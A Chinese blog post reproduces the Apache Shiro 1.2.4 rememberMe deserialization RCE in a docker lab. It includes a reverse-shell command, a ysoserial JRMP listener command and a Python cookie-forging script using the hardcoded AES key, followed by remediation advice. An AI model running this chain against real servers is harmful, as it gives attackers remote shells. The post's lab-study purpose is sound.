WordPress极简博客 WordPress极简博客
  • 新鲜事
  • 战疫情
  • UI素材
    • UI素材
    • 电商/节日
    • PPT
      • 节日庆典
      • 工作汇报
      • 商业计划书
    • word
      • 简历竞聘
      • 合同/公文
  • 创客头条
    • 音乐分享
    • 初创文章
    • 极客头条
    • 生活趣事
    • 生活日记
    • 防骗指南
  • 编程教学
    • API日记
    • Linux安全栏目
      • Linux运维安全汇总
      • DDOS攻击防护
      • XSS攻击防护
      • SQL安全防护
    • Python技术栏目
      • Python基础入门
      • Python基础结构
    • WordPress技术栏目
      • WP主题
      • WordPress技术教程
      • RIPRO主题美化
    • WordPress漏洞发布
    • 技术教程汇总
    • 严选源码
  • 专题
  • 基友
  • 隐私
  • 注册
    登录
立即登录
  • 首页
  • 云优化
  • 新疫情
  • 新鲜事
    • 热文
    • 极客
    • 生活
  • 技术篇
    • WP主题
    • 技术教程
    • Python入门
    • Python基础
  • 专题篇
  • 友链君
首页 Linux安全 Apache Shiro反序列化复现

Apache Shiro反序列化复现

夏柔 7月 13, 2020

漏洞简介

Apache shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值进行Base64解码,然后AES解密,再反序列化;然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本

Apache Shiro <= 1.2.4

漏洞复现

复现环境

攻击机 win10
靶机 ubuntu20

环境搭建

使用网上的docker环境进行复现

docker pull medicean/vulapps:s_shiro_1 #下载镜像
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 #运行镜像

攻击演示

首先生成攻击载荷

设置监听

nc -lp 1111

反弹shell命令

bash -i >& /dev/tcp/192.168.0.107/1111 0>&1

进入这个网站将命令转换成加密后的命令

Apache Shiro反序列化复现-WordPress极简博客
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}

使用ysoserial.jar 中的JRMP监听模块,监听 5858 端口并执行反弹shell命令

java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 5858 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}'

然后通过脚本伪造cookie内容

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
python shrio.py 192.168.0.107:5858

注意这里的端口是ysoserial监听的端口

Apache Shiro反序列化复现-WordPress极简博客

复制生成的cookie,访问靶机地址,点击红框处

Apache Shiro反序列化复现-WordPress极简博客

输入admin/admin 记得选择remember me

Apache Shiro反序列化复现-WordPress极简博客

拦截一下数据包,然后修改cookie,将原先的删除,加入生成rememberMe,之后点击Go

Apache Shiro反序列化复现-WordPress极简博客

然后来到ysoserial监听的终端可以看到出现了一些东西

Apache Shiro反序列化复现-WordPress极简博客

在nc监听端终端收到了shell,可以执行命令

Apache Shiro反序列化复现-WordPress极简博客

修复方式

  • 升级shiro到1.2.5及以上
  • 如果在配置里配置了密钥, 不要使用网上的密钥, 利用官方提供的方法去生成密钥。

参考

https://xi4or0uji.github.io/2019/10/16/Shiro-RememberMe-1.2.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
https://www.jianshu.com/p/0007eafd1f92
https://blog.csdn.net/weixin_44276628/article/details/103094039
#apache
0
J2dcg1.png
猜你喜欢
  • 【高危】fastcdn用户数据库表存在明文,修改用户数据无鉴权限制即可增删改
  • fastcdn删除节点数据缺乏身份验证机制
  • fastcdn之SSH列表数据接口
  • fastcdn系统昨日上线发现两个未经身份验证接口
  • 关于宝塔新面板(真实性为止)
  • 手机号-社交媒体-地理位置开源情报
  • 自由旅行之上海站
  • 防止SQL注入的五种方法
  • WordPress去除index.php的方法
  • 脱离宝塔面板搭建网站(新手进阶)
22 3月, 2024
03月22日,星期五,每天60秒读懂世界!
夏柔
站长
夏山如碧 - 怀柔天下
1725
文章
25
评论
58145K
获赞
版权声明

文章采用创作共用版权 CC BY-NC-ND/2.5/CN 许可协议,与本站观点无关。

如果您认为本文侵犯了您的版权信息,请与我们联系修正或删除。
投诉邮箱wpsite@aliyun.com

栏目推荐
Python基础入门33
WordPress技术教程267
前沿技术情报所22
城市创新——新消费11
最近有哪些不可错过的热文23
程序员的养生之道0
节
春
  • 新鲜事
  • 疫情实况
  • UI素材
  • 技术教程
  • 音乐分享
  • 专题
  • 友情
  • 隐私
  • 云优化
Copyright © 2019-2025 WordPress极简博客. Designed by 夏柔. 辽公网安备21010502000474号 辽ICP备19017037号-2